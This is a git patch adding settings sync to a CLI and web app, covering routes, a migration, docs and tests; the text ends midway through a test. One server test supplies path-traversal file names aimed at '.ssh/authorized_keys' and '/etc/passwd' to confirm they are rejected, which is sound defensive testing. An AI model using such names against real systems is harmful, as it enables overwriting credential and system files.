From fc28c8026a56f3838b4bd3eb1cdc41d496ca8283 Mon Sep 17 00:00:00 2001 From: Anthony Ettinger Date: Tue, 11 Aug 2026 09:10:11 +0000 Subject: [PATCH] =?UTF-8?q?feat(account):=20/save=20and=20/load=20?= =?UTF-8?q?=E2=80=94=20sync=20the=20pit's=20settings=20to=20your=20moshcod?= =?UTF-8?q?e.sh=20account?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A pit becomes yours by accretion: a dozen aliases, herd rules you tuned until the roster stopped lying to you. All of it lived in ~/.moshcode on exactly one machine, so every new laptop, container and droplet started as a stranger. `/save` (moshcode save) pushes that configuration to the account you already `/login` to; `/load` brings it down onto any machine paired with it. Both take --dry-run, --force and --json. What syncs is an allowlist — aliases.json and herd/rules.json — never a directory walk, because ~/.moshcode also holds credentials.json, live herd state and a package cache. NEVER_SYNCED asserts that on top of the allowlist so a future addition can't leak the token, and every path is re-checked on the way *in*: a snapshot is data from the network, and an unchecked name in it would make /load a remote write primitive. Nothing is overwritten quietly. Each save is a numbered revision and /save sends the one it last agreed on, so a second machine's save is refused rather than silently erased — the compare-and-set lives inside the INSERT, because two requests against a network database both read the same MAX(revision). /load refuses to replace a file edited since the last sync and names it. The account recognises a byte-identical snapshot and answers with the revision it already holds, so an unchanged /save costs no history and a machine whose marker went stale (settings deleted from the web) finds out instead of insisting it is up to date. The last ten revisions are listed at /settings/sync, where one can be promoted or the lot deleted; the page shows file names, never contents. PRD 0010. The digest is computed on both sides and both suites pin the same hex for a fixed input — the two implementations disagreed once, and nothing caught it. Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 48 ++ apps/pwa/src/migrations/012_settings_sync.sql | 31 + apps/pwa/src/routes/pages.mjs | 19 +- apps/pwa/src/routes/settings-sync.mjs | 354 ++++++++++ apps/pwa/src/server.mjs | 2 + apps/pwa/test/settings-sync.test.mjs | 329 +++++++++ bin/moshcode.mjs | 3 + prd/0010-cloud-settings-sync.md | 132 ++++ prd/README.md | 1 + src/cli-schema.mjs | 41 ++ src/settings-sync.mjs | 659 ++++++++++++++++++ src/tui.mjs | 5 + test/settings-sync.test.mjs | 460 ++++++++++++ 13 files changed, 2083 insertions(+), 1 deletion(-) create mode 100644 apps/pwa/src/migrations/012_settings_sync.sql create mode 100644 apps/pwa/src/routes/settings-sync.mjs create mode 100644 apps/pwa/test/settings-sync.test.mjs create mode 100644 prd/0010-cloud-settings-sync.md create mode 100644 src/settings-sync.mjs create mode 100644 test/settings-sync.test.mjs diff --git a/README.md b/README.md index afa7213..9021305 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,8 @@ or miss one that does. A test fails the build when it drifts. | `moshcode login` | account | authenticate with app.moshcode.sh | | `moshcode whoami` | account | show the logged-in account | | `moshcode logout` | account | clear the logged-in account | +| `moshcode save` | account | save this machine's pit settings to your account | +| `moshcode load` | account | bring your saved pit settings onto this machine | | `moshcode console` | account | serve or connect to the browser terminal | | `moshcode dns` | hosting | resolve Moshpit names on this machine | | `moshcode doh` | hosting | run the DNS-over-HTTPS resolver | @@ -579,6 +581,52 @@ event, and publishes it to the displayed relays. Both flows leave the final confirmation in the browser. If the pit is remote or headless, `/post` prints the composer URL instead. +## Settings sync (`/save` and `/load`) + +Your pit becomes yours by accretion — a dozen aliases, herd rules you tuned until +the roster stopped lying to you. All of it lives in `~/.moshcode` on one machine, +which is why every new laptop, container and droplet used to feel like someone +else's prompt. + +`/save` pushes that configuration to your `app.moshcode.sh` account. `/load` +brings it down onto any machine you have run `/login` on. + +```sh +moshcode save # push this machine's settings (pit: /save) +moshcode save --dry-run # what would go up, and stop + +# on the new box +moshcode login +moshcode load # pull them down (pit: /load) +moshcode load --dry-run # the per-file plan, changing nothing +``` + +What syncs is an allowlist, not a directory walk: + +| file | what it is | +|---|---| +| `~/.moshcode/aliases.json` | your pit aliases (`/alias`) | +| `~/.moshcode/herd/rules.json` | herd state-detection overrides | + +What never syncs, by name: `credentials.json` (the account token this very +feature authenticates with), `herd/sessions.json` (live state pinned to one tmux +server), `sync.json`, and the `pkg/` binary cache. Engine configuration +(`~/.claude.json` and friends) is deliberately left alone — those files carry +provider API keys. + +Nothing is overwritten quietly: + +- Each save is a numbered **revision**. `/save` sends the revision it last agreed + on, and the app refuses the write if another machine has saved since — you get + told, with `/load` and `/save --force` as the two ways out. +- `/load` refuses to replace a settings file you edited since this machine last + synced, and names it. `--force` overrides. +- The last ten revisions are kept. See them, and which machine each came from, at + [app.moshcode.sh/settings/sync](https://app.moshcode.sh/settings/sync) — where + you can also promote an older revision or delete the lot. + +Both verbs take `--json`, so a provisioning script can act on the result. + ## Browser terminal (`moshcode console`) A real terminal in the browser — arrow keys, history, full-screen TUIs — because diff --git a/apps/pwa/src/migrations/012_settings_sync.sql b/apps/pwa/src/migrations/012_settings_sync.sql new file mode 100644 index 0000000..b6741f0 --- /dev/null +++ b/apps/pwa/src/migrations/012_settings_sync.sql @@ -0,0 +1,31 @@ +-- Cloud sync for the pit's settings (`/save` and `/load` in moshcode). +-- +-- One row per save, not one row per account, because the interesting failure is +-- a good configuration replaced by a bad one: a person runs `/save` from the +-- machine they were mid-experiment on and the aliases they had built up for a +-- year are now the thing every other machine pulls down. Keeping the last few +-- revisions makes that recoverable from the web without a backup story. +-- +-- `revision` is per-user and monotonic, and it is also the concurrency token: +-- `/save` sends the revision it last agreed on and the write is refused if the +-- account has moved past it, so two machines saving cannot silently erase one +-- another. +CREATE TABLE IF NOT EXISTS settings_snapshots ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL REFERENCES users(id) ON DELETE CASCADE, + revision INTEGER NOT NULL, + digest TEXT NOT NULL, -- sha256 over the file names + contents + host TEXT, -- the machine that saved it + version TEXT, -- its moshcode version + size INTEGER NOT NULL, -- bytes of `body` + body TEXT NOT NULL, -- the snapshot, as the CLI sent it + created_at INTEGER NOT NULL +); + +-- The unique index is load-bearing, not housekeeping: the insert picks its own +-- revision with MAX(revision) + 1, and against a network database two saves in +-- flight at once can both read the same maximum. This is what turns the second +-- one into an error instead of a duplicate revision that `/load` would resolve +-- arbitrarily. +CREATE UNIQUE INDEX IF NOT EXISTS idx_settings_snapshots_revision + ON settings_snapshots(user_id, revision); diff --git a/apps/pwa/src/routes/pages.mjs b/apps/pwa/src/routes/pages.mjs index dba4780..7fec122 100644 --- a/apps/pwa/src/routes/pages.mjs +++ b/apps/pwa/src/routes/pages.mjs @@ -7,6 +7,7 @@ import { requireAuth, csrfInput, setCeremony, getCeremony, clearCeremony } from import { balance, ledger, CHANNEL_COST } from "../lib/credits.mjs"; import { createApiKey, listApiKeys, revokeApiKey } from "../lib/apikey.mjs"; import { PACKS } from "./credits.mjs"; +import { latestSnapshotMeta } from "./settings-sync.mjs"; import { config } from "../config.mjs"; export const pagesRouter = Router(); @@ -105,10 +106,11 @@ const CHANNEL_KINDS = ["push", "email", "slack", "telegram", "sms", "webhook"]; pagesRouter.get("/settings", requireAuth, async (req, res) => { const uid = req.user.id; - const [bal, chans, keys] = await Promise.all([ + const [bal, chans, keys, synced] = await Promise.all([ balance(uid), all(`SELECT * FROM channels WHERE user_id = ?`, [uid]), listApiKeys(uid), + latestSnapshotMeta(uid), ]); const byKind = Object.fromEntries(chans.map((c) => [c.kind, c])); const newKey = getCeremony(req, "newkey") || ""; @@ -204,6 +206,21 @@ pagesRouter.get("/settings", requireAuth, async (req, res) => { + +
Settings sync · your pit's configrevisions
+
+

+ ${synced + ? `Currently holding revision ${synced.revision}, saved from ${esc(synced.host || "an unknown machine")} ${timeago(synced.savedAt)}.` + : `Nothing saved yet. In the pit: /save.`} +

+

+ /save pushes your aliases and herd rules here; + /load brings them onto any machine you have run + /login on. Credentials are never included. +

+
+
${footer}`; res.type("html").send(page({ title: "moshcode ▸ settings", body })); }); diff --git a/apps/pwa/src/routes/settings-sync.mjs b/apps/pwa/src/routes/settings-sync.mjs new file mode 100644 index 0000000..787068b --- /dev/null +++ b/apps/pwa/src/routes/settings-sync.mjs @@ -0,0 +1,354 @@ +// Settings sync — the account half of `/save` and `/load` in the pit. +// +// PUT /api/settings CLI saves a snapshot (Bearer key) +// GET /api/settings CLI reads the current one +// GET /api/settings/revisions CLI/human: what has been saved +// GET /settings/sync human: the revisions, and what they carry +// POST /settings/sync/:revision/restore human: make an older one current +// POST /settings/sync/forget human: delete the lot +// +// The app treats a snapshot as opaque text with a size limit. It deliberately +// does not enforce moshcode's own list of which files sync: that list belongs to +// the release that reads it, and a CLI that starts syncing one more file must +// not need this service redeployed to do it. What the app does enforce is what +// only it can — that the body is small, that it is shaped like a snapshot, that +// no name in it is a path traversal, and that two machines saving at once cannot +// silently overwrite each other. +import { Router } from "express"; +import { get, all, run } from "../db.mjs"; +import { id, sha256 } from "../lib/crypto.mjs"; +import { bearer, userForApiKey } from "../lib/apikey.mjs"; +import { balance } from "../lib/credits.mjs"; +import { page, footer, appBar, esc } from "../lib/html.mjs"; +import { requireAuth, csrfInput } from "../lib/session.mjs"; + +export const settingsSyncRouter = Router(); + +/** + * Revisions kept per account. + * + * Enough that a bad `/save` from the wrong machine is recoverable by looking at + * the page and pressing a button, few enough that a scripted save loop can't + * grow one account's row count without bound. + */ +export const KEEP_REVISIONS = 10; + +/** Total snapshot size, and how many files one may carry. */ +export const MAX_SNAPSHOT_BYTES = 256 * 1024; +export const MAX_FILES = 32; + +/** + * Is this shaped like a snapshot? Returns null when it is, else the reason. + * + * Structural only — see the header. The one substantive rule is on names: a + * snapshot is applied by writing its keys as paths under ~/.moshcode, so a name + * carrying `..`, a leading slash, a backslash or a NUL has no honest reading and + * is refused at the door rather than stored for a client to refuse later. + */ +export function snapshotProblem(snapshot, { maxBytes = MAX_SNAPSHOT_BYTES } = {}) { + if (!snapshot || typeof snapshot !== "object" || Array.isArray(snapshot)) return "not a snapshot"; + const files = snapshot.files; + if (!files || typeof files !== "object" || Array.isArray(files)) return "no files in the snapshot"; + const names = Object.keys(files); + if (!names.length) return "no files in the snapshot"; + if (names.length > MAX_FILES) return `too many files (${names.length}, the cap is ${MAX_FILES})`; + for (const name of names) { + if (!name || name.length > 200) return "a file name is empty or absurdly long"; + if (name.startsWith("/") || name.includes("..") || name.includes("\\") || name.includes("\0")) { + return `"${name}" is not a settings path`; + } + if (typeof files[name]?.content !== "string") return `"${name}" has no contents`; + } + const bytes = Buffer.byteLength(JSON.stringify(snapshot)); + if (bytes > maxBytes) return `snapshot is ${bytes} bytes — the cap is ${maxBytes}`; + return null; +} + +/** + * The digest the CLI computes, recomputed here so the stored one is ours. + * + * Byte-for-byte the same construction as `digestFiles` in + * src/settings-sync.mjs: names sorted, each field framed by a NUL and preceded + * by its byte length. Two implementations of one hash is a drift risk, so both + * sides pin the digest of a fixed input in their tests — this one in + * apps/pwa/test/settings-sync.test.mjs, the CLI's in test/settings-sync.test.mjs + * — and any change to either framing fails both. + */ +export function digestSnapshot(snapshot) { + const files = snapshot.files; + let material = ""; + for (const name of Object.keys(files).sort()) { + const content = String(files[name].content); + material += `${name}\0${Buffer.byteLength(content)}\0${content}\0`; + } + return sha256(material); +} + +async function cliAuth(req, res, next) { + const user = await userForApiKey(bearer(req)); + if (!user) return res.status(401).json({ error: "invalid or missing API key" }); + req.apiUser = user; + next(); +} + +const latest = (userId) => + get(`SELECT * FROM settings_snapshots WHERE user_id = ? ORDER BY revision DESC LIMIT 1`, [userId]); + +/** + * The current revision's metadata, for the /settings summary card. Never the + * body — the page it feeds has no business rendering someone's config. + */ +export async function latestSnapshotMeta(userId) { + const row = await get( + `SELECT revision, host, version, size, created_at FROM settings_snapshots + WHERE user_id = ? ORDER BY revision DESC LIMIT 1`, + [userId] + ); + return row + ? { revision: Number(row.revision), host: row.host, version: row.version, size: Number(row.size), savedAt: Number(row.created_at) } + : null; +} + +/** An older body promoted to a new revision, or a fresh save — one code path. */ +async function insertRevision({ userId, body, digest, host, version, ifRevision }) { + const size = Buffer.byteLength(body); + const row = { id: id(), created_at: Date.now() }; + + // The revision is chosen inside the INSERT, and `ifRevision` is checked there + // too, by a HAVING on the same aggregate. Reading MAX(revision) first and then + // inserting is not enough against a network database: both requests see the + // same maximum and one save silently replaces the other. Here the second one + // either trips the HAVING (no row inserted — a conflict we can report) or the + // unique index (an error we retry as a conflict). + const sql = ifRevision === null + ? `INSERT INTO settings_snapshots (id,user_id,revision,digest,host,version,size,body,created_at) + SELECT ?, ?, COALESCE(MAX(revision),0) + 1, ?, ?, ?, ?, ?, ? + FROM settings_snapshots WHERE user_id = ? + RETURNING revision` + : `INSERT INTO settings_snapshots (id,user_id,revision,digest,host,version,size,body,created_at) + SELECT ?, ?, COALESCE(MAX(revision),0) + 1, ?, ?, ?, ?, ?, ? + FROM settings_snapshots WHERE user_id = ? + HAVING COALESCE(MAX(revision),0) = ? + RETURNING revision`; + const args = [row.id, userId, digest, host, version, size, body, row.created_at, userId]; + if (ifRevision !== null) args.push(ifRevision); + + let inserted; + try { inserted = await get(sql, args); } + catch (e) { + // The unique index fired: another save took this revision between our + // aggregate and our insert. Same answer as a failed HAVING. + if (/UNIQUE|constraint/i.test(String(e?.message || e))) return { conflict: true }; + throw e; + } + if (!inserted) return { conflict: true }; + + const revision = Number(inserted.revision); + // Prune by revision rather than by count: the index makes this one range + // delete, and it cannot race with a concurrent save the way "delete all but + // the newest N" can. + await run(`DELETE FROM settings_snapshots WHERE user_id = ? AND revision <= ?`, + [userId, revision - KEEP_REVISIONS]); + return { revision, digest, savedAt: row.created_at, size }; +} + +/* --------------------------------------------------------------- CLI (Bearer) */ + +settingsSyncRouter.put("/api/settings", cliAuth, async (req, res) => { + const snapshot = req.body?.snapshot; + const problem = snapshotProblem(snapshot); + if (problem) return res.status(400).json({ error: problem }); + + // `ifRevision` absent or null means "save regardless" — `/save --force`, or a + // machine that has never synced. A number means "only if the account is still + // where I left it". + const asked = req.body?.ifRevision; + let ifRevision = asked === null || asked === undefined ? null : Number(asked); + if (ifRevision !== null && !Number.isSafeInteger(ifRevision)) { + return res.status(400).json({ error: "ifRevision must be an integer or null" }); + } + + const digest = digestSnapshot(snapshot); + const current = await latest(req.apiUser.id); + + // Byte-identical to what is already current: answer with that revision and + // insert nothing. The check lives here rather than in the CLI because only the + // account knows what it holds — a CLI that skipped the request on the strength + // of its own marker reported "already saved" to someone who had just deleted + // everything from the web, and left them stuck behind a --force. + if (current && current.digest === digest) { + return res.json({ + revision: Number(current.revision), + digest, + savedAt: Number(current.created_at), + unchanged: true, + }); + } + + // A precondition against an account with nothing in it cannot be protecting + // anything: the revisions it names are gone (forgotten from the web), so there + // is no other machine's save to lose. Refusing here would strand every machine + // behind --force after a perfectly deliberate delete. + if (!current) ifRevision = null; + + const result = await insertRevision({ + userId: req.apiUser.id, + body: JSON.stringify(snapshot), + digest, + host: snapshot.host ? String(snapshot.host).slice(0, 60) : null, + version: snapshot.moshcode ? String(snapshot.moshcode).slice(0, 20) : null, + ifRevision, + }); + + if (result.conflict) { + const current = await latest(req.apiUser.id); + return res.status(409).json({ + error: "the account has been saved from another machine since then", + revision: current ? Number(current.revision) : 0, + }); + } + res.json({ revision: result.revision, digest: result.digest, savedAt: result.savedAt }); +}); + +settingsSyncRouter.get("/api/settings", cliAuth, async (req, res) => { + const row = await latest(req.apiUser.id); + if (!row) return res.status(404).json({ error: "nothing saved yet" }); + let snapshot; + // Stored as the CLI sent it, so a body that will not parse is a bug on this + // side of the wire — say so rather than handing the CLI a 200 it can't use. + try { snapshot = JSON.parse(row.body); } + catch { return res.status(500).json({ error: "the stored snapshot is unreadable" }); } + res.json({ + revision: Number(row.revision), + digest: row.digest, + savedAt: Number(row.created_at), + host: row.host, + version: row.version, + snapshot, + }); +}); + +settingsSyncRouter.get("/api/settings/revisions", cliAuth, async (req, res) => { + const rows = await all( + `SELECT revision, digest, host, version, size, created_at FROM settings_snapshots + WHERE user_id = ? ORDER BY revision DESC`, + [req.apiUser.id] + ); + res.json({ + revisions: rows.map((r) => ({ + revision: Number(r.revision), + digest: r.digest, + host: r.host, + version: r.version, + size: Number(r.size), + savedAt: Number(r.created_at), + })), + }); +}); + +/* ------------------------------------------------------------ human (cookies) */ + +const ago = (ts) => { + const s = Math.max(0, Math.floor((Date.now() - Number(ts)) / 1000)); + if (s < 60) return `${s}s ago`; + if (s < 3600) return `${Math.floor(s / 60)}m ago`; + if (s < 86400) return `${Math.floor(s / 3600)}h ago`; + return `${Math.floor(s / 86400)}d ago`; +}; + +/** The file names in a stored body, for the page. Never the contents. */ +export function fileNames(body) { + try { + const files = JSON.parse(body)?.files; + return files && typeof files === "object" ? Object.keys(files).sort() : []; + } catch { return []; } +} + +settingsSyncRouter.get("/settings/sync", requireAuth, async (req, res) => { + const rows = await all( + `SELECT * FROM settings_snapshots WHERE user_id = ? ORDER BY revision DESC`, + [req.user.id] + ); + const current = rows[0] || null; + + const revisionRows = rows.map((r, index) => { + const names = fileNames(r.body); + return `
+ + revision ${Number(r.revision)}${index === 0 ? ` current` : ""} +
+ ${esc(r.host || "unknown machine")}${r.version ? ` · v${esc(r.version)}` : ""} · ${ago(r.created_at)} · ${Number(r.size)}b +
+
${names.length ? names.map((n) => esc(n)).join(" · ") : "no files"}
+ + ${index === 0 ? "" : `
${csrfInput(req)}
`} +
`; + }).join(""); + + const body = `${appBar(req.user, await balance(req.user.id), req.csrfToken)} +
+

Settings sync

+

+ Your pit's configuration — aliases, herd rules — as saved by + /save. Pull it onto any machine that is logged in with + /load. +

+ +
Saved revisions
+
+ ${rows.length ? revisionRows : `
+ Nothing saved yet. In the pit: /save. +
`} + ${rows.length ? `

+ The last ${KEEP_REVISIONS} saves are kept. "Make current" copies an older revision to the + top of the list — the machines you run /load on then pick it up. + No credentials are ever part of a snapshot. +

` : ""} +
+
+ + ${rows.length ? `
Danger zone
+
+

+ Deletes every saved revision. The settings on your machines are untouched — + this only empties the account copy. +

+
${csrfInput(req)} + +
+
+
` : ""} + +

+ ${current ? `Current: revision ${Number(current.revision)} · digest ${esc(String(current.digest).slice(0, 12))}…` : ""} + ← settings +

+
${footer}`; + res.type("html").send(page({ title: "moshcode ▸ settings sync", body })); +}); + +settingsSyncRouter.post("/settings/sync/:revision/restore", requireAuth, async (req, res) => { + const wanted = Number(req.params.revision); + if (!Number.isSafeInteger(wanted)) return res.redirect("/settings/sync"); + const row = await get(`SELECT * FROM settings_snapshots WHERE user_id = ? AND revision = ?`, + [req.user.id, wanted]); + if (!row) return res.redirect("/settings/sync"); + + // Copied forward as a new revision rather than deleting the ones above it: + // "make current" is then itself undoable, and a machine that had already + // pulled revision 7 still sees a number it has never seen and knows to sync. + await insertRevision({ + userId: req.user.id, + body: row.body, + digest: row.digest, + host: row.host, + version: row.version, + ifRevision: null, + }); + res.redirect("/settings/sync"); +}); + +settingsSyncRouter.post("/settings/sync/forget", requireAuth, async (req, res) => { + await run(`DELETE FROM settings_snapshots WHERE user_id = ?`, [req.user.id]); + res.redirect("/settings/sync"); +}); diff --git a/apps/pwa/src/server.mjs b/apps/pwa/src/server.mjs index 9cc8dd7..2dd58b7 100644 --- a/apps/pwa/src/server.mjs +++ b/apps/pwa/src/server.mjs @@ -13,6 +13,7 @@ import { creditsRouter } from "./routes/credits.mjs"; import { cliRouter } from "./routes/cli.mjs"; import { sessionsRouter } from "./routes/sessions.mjs"; import { pagesRouter } from "./routes/pages.mjs"; +import { settingsSyncRouter } from "./routes/settings-sync.mjs"; import { moshpitRouter } from "./routes/moshpit.mjs"; import { socialsRouter } from "./routes/socials.mjs"; @@ -55,6 +56,7 @@ app.use(creditsRouter); app.use(cliRouter); // /cli/authorize, /cli/token, /api/me app.use(sessionsRouter); // /sessions (live CLI mirror) + /api/sessions app.use(pagesRouter); // /app, /settings +app.use(settingsSyncRouter); // /api/settings (+ /settings/sync) — the pit's /save and /load app.use(socialsRouter); // public browser composers used by /post app.use(moshpitRouter); // /pit + /api/moshpit/* — the namespace diff --git a/apps/pwa/test/settings-sync.test.mjs b/apps/pwa/test/settings-sync.test.mjs new file mode 100644 index 0000000..4ed2bd9 --- /dev/null +++ b/apps/pwa/test/settings-sync.test.mjs @@ -0,0 +1,329 @@ +// Settings sync — the account half of the pit's `/save` and `/load`. +// +// Same shape as sessions-output-seq.test.mjs: boot the real router against a +// throwaway libsql file database, and skip cleanly when the PWA dependencies +// aren't installed so the root `node --test` stays green in a fresh clone. +// +// The concurrency test defers every statement to a macrotask for the reason +// spelled out there: the local driver resolves in microtasks and fully +// serializes concurrent handlers, hiding exactly the read-then-insert race that +// two machines running `/save` at the same moment produce against Turso. +import assert from "node:assert/strict"; +import http from "node:http"; +import { mkdtempSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { createRequire } from "node:module"; +import test from "node:test"; + +const require = createRequire(import.meta.url); +let deps = null; +try { + deps = { express: require("express"), cookieParser: require("cookie-parser") }; +} catch { + deps = null; // pwa dependencies not installed — tests below skip +} +const skip = deps ? false : "PWA dependencies are not installed"; + +const workdir = mkdtempSync(path.join(tmpdir(), "moshcode-settings-sync-test-")); +process.env.DATABASE_URL = `file:${path.join(workdir, "test.db")}`; +process.env.SESSION_SECRET = "test-secret"; + +const snapshot = (files, extra = {}) => ({ + version: 1, + host: "dev", + moshcode: "0.39.0", + installed: { engines: ["claude"], tools: [] }, + files, + ...extra, +}); + +const ALIASES = { "aliases.json": { content: '{"gs":"git status"}' } }; + +async function boot({ slowStatements = false } = {}) { + const { migrate } = await import("../src/migrate.mjs"); + await migrate(); + const { run, db } = await import("../src/db.mjs"); + if (slowStatements) { + const execute = db.execute.bind(db); + db.execute = (stmt) => new Promise((resolve, reject) => { + setTimeout(() => execute(stmt).then(resolve, reject), 2); + }); + } + const { sessionMiddleware, csrfGuard } = await import("../src/lib/session.mjs"); + const { settingsSyncRouter } = await import("../src/routes/settings-sync.mjs"); + const { createApiKey } = await import("../src/lib/apikey.mjs"); + + const app = deps.express(); + app.use(deps.express.json({ limit: "2mb" })); + app.use(deps.express.urlencoded({ extended: false })); + app.use(deps.cookieParser()); + app.use(sessionMiddleware); + app.use(csrfGuard); + app.use(settingsSyncRouter); + const server = await new Promise((resolve) => { + const s = app.listen(0, "127.0.0.1", () => resolve(s)); + }); + const { port } = server.address(); + + await run(`INSERT OR REPLACE INTO users (id, email, display_name, created_at) VALUES ('u1','a@b.c','one',1)`); + await run(`INSERT OR REPLACE INTO users (id, email, display_name, created_at) VALUES ('u2','x@y.z','two',1)`); + const keyOne = (await createApiKey("u1", "cli one")).plaintext; + const keyTwo = (await createApiKey("u2", "cli two")).plaintext; + + // Raw http with a fresh connection per request: undici would reuse a + // keep-alive socket and serialize the "concurrent" saves. + const call = (token) => (method, route, body) => new Promise((resolve, reject) => { + const payload = body === undefined ? null : JSON.stringify(body); + const req = http.request({ + host: "127.0.0.1", port, method, path: route, agent: new http.Agent({ keepAlive: false }), + headers: { + authorization: `Bearer ${token}`, + ...(payload ? { "content-type": "application/json", "content-length": Buffer.byteLength(payload) } : {}), + }, + }, (res) => { + let text = ""; + res.on("data", (c) => { text += c; }); + res.on("end", () => { + let json = null; + try { json = text ? JSON.parse(text) : null; } catch { /* not JSON */ } + resolve({ status: res.statusCode, body: json, text }); + }); + }); + req.on("error", reject); + if (payload) req.write(payload); + req.end(); + }); + + return { server, one: call(keyOne), two: call(keyTwo), reset: () => run(`DELETE FROM settings_snapshots`) }; +} + +test("a saved snapshot comes back exactly as it went up", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + const empty = await one("GET", "/api/settings"); + assert.equal(empty.status, 404, "an account with nothing saved is a 404, not an empty 200"); + + const put = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: null }); + assert.equal(put.status, 200); + assert.equal(put.body.revision, 1, "the first save is revision 1"); + assert.match(put.body.digest, /^[0-9a-f]{64}$/); + + const got = await one("GET", "/api/settings"); + assert.equal(got.status, 200); + assert.equal(got.body.revision, 1); + assert.equal(got.body.host, "dev"); + assert.equal(got.body.version, "0.39.0"); + assert.deepEqual(got.body.snapshot, snapshot(ALIASES)); + assert.equal(got.body.digest, put.body.digest); + } finally { server.close(); } +}); + +test("the digest matches the CLI's, byte for byte", { skip }, async () => { + // Two implementations of one hash: src/settings-sync.mjs (digestFiles) and + // this one. They diverged once — a NUL frame there, a space here — and nothing + // noticed, because no code path compares them. Both suites now pin the same + // hex for the same fixture, so either framing changing fails both. + const { digestSnapshot } = await import("../src/routes/settings-sync.mjs"); + const fixture = { + "aliases.json": { content: '{"gs":"git status"}' }, + "herd/rules.json": { content: "{}" }, + }; + assert.equal( + digestSnapshot({ files: fixture }), + "659fc77cca201fa9499620fc6bf34535d30313c4748658c84e5887ba0aa2761b", + ); +}); + +test("the digest is computed here, not taken from the client", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + const put = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES, { digest: "0".repeat(64) }) }); + assert.notEqual(put.body.digest, "0".repeat(64)); + const again = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES) }); + assert.equal(again.body.digest, put.body.digest, "the same files must digest the same"); + } finally { server.close(); } +}); + +test("a stale ifRevision is refused, and says where the account actually is", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: null }); + const second = await one("PUT", "/api/settings", { + snapshot: snapshot({ "aliases.json": { content: '{"gs":"git log"}' } }), + ifRevision: null, + }); + assert.equal(second.body.revision, 2); + + // A machine that still thinks the account is at revision 1. + const stale = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: 1 }); + assert.equal(stale.status, 409); + assert.equal(stale.body.revision, 2, "the CLI needs the current revision to explain the conflict"); + + // Nothing was written: the account is still on the second machine's save. + const got = await one("GET", "/api/settings"); + assert.equal(got.body.revision, 2); + assert.deepEqual(got.body.snapshot.files, { "aliases.json": { content: '{"gs":"git log"}' } }); + + // And the current revision as a precondition goes through. + const fresh = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: 2 }); + assert.equal(fresh.status, 200); + assert.equal(fresh.body.revision, 3); + } finally { server.close(); } +}); + +test("an identical snapshot is answered, not stored again", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + const first = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES) }); + assert.equal(first.body.revision, 1); + assert.equal(first.body.unchanged, undefined); + + const again = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES) }); + assert.equal(again.status, 200); + assert.equal(again.body.revision, 1, "an unchanged save must not burn a revision"); + assert.equal(again.body.unchanged, true); + + const list = await one("GET", "/api/settings/revisions"); + assert.equal(list.body.revisions.length, 1); + + // Identical content also settles a stale precondition: there is nothing to + // lose when the bytes already match. + const stale = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: 99 }); + assert.equal(stale.status, 200); + assert.equal(stale.body.unchanged, true); + } finally { server.close(); } +}); + +test("an emptied account accepts a save that names a revision it no longer has", { skip }, async () => { + // The web page's "forget" deletes every revision. A machine still holding a + // marker from before would otherwise be stuck behind --force, having done + // nothing wrong — and there is no other machine's save left to protect. + const { server, one, reset } = await boot(); + try { + await reset(); + const res = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: 4 }); + assert.equal(res.status, 200); + assert.equal(res.body.revision, 1, "numbering restarts on an empty account"); + } finally { server.close(); } +}); + +test("two machines saving at once: one wins, the other is told", { skip }, async () => { + const { server, one, reset } = await boot({ slowStatements: true }); + try { + await reset(); + await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: null }); + + // Both hold revision 1 and both save. Without the compare-and-set inside the + // INSERT they would both read MAX(revision) = 1 and one save would vanish. + const [a, b] = await Promise.all([ + one("PUT", "/api/settings", { snapshot: snapshot({ "aliases.json": { content: '{"a":"1"}' } }), ifRevision: 1 }), + one("PUT", "/api/settings", { snapshot: snapshot({ "aliases.json": { content: '{"b":"2"}' } }), ifRevision: 1 }), + ]); + const statuses = [a.status, b.status].sort(); + assert.deepEqual(statuses, [200, 409], "exactly one concurrent save may win"); + + const winner = a.status === 200 ? a : b; + assert.equal(winner.body.revision, 2); + const got = await one("GET", "/api/settings"); + assert.equal(got.body.revision, 2, "no revision was skipped or duplicated"); + } finally { server.close(); } +}); + +test("a snapshot that could write outside the settings dir is refused at the door", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + for (const name of ["../../.ssh/authorized_keys", "/etc/passwd", "herd\\rules.json", "a\0b"]) { + const res = await one("PUT", "/api/settings", { snapshot: snapshot({ [name]: { content: "x" } }) }); + assert.equal(res.status, 400, `${JSON.stringify(name)} was accepted`); + } + assert.equal((await one("GET", "/api/settings")).status, 404, "nothing hostile was stored"); + } finally { server.close(); } +}); + +test("junk, empty and oversized snapshots are 400s with a reason", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + for (const body of [{}, { snapshot: null }, { snapshot: "a string" }, { snapshot: { files: {} } }, { snapshot: { files: [] } }]) { + const res = await one("PUT", "/api/settings", body); + assert.equal(res.status, 400); + assert.ok(res.body.error, "a 400 has to say why"); + } + const huge = await one("PUT", "/api/settings", { + snapshot: snapshot({ "aliases.json": { content: "x".repeat(300 * 1024) } }), + }); + assert.equal(huge.status, 400); + assert.match(huge.body.error, /cap/); + + const badPrecondition = await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES), ifRevision: "soon" }); + assert.equal(badPrecondition.status, 400); + } finally { server.close(); } +}); + +test("only the last few revisions are kept, and the newest is current", { skip }, async () => { + const { server, one, reset } = await boot(); + try { + await reset(); + const { KEEP_REVISIONS } = 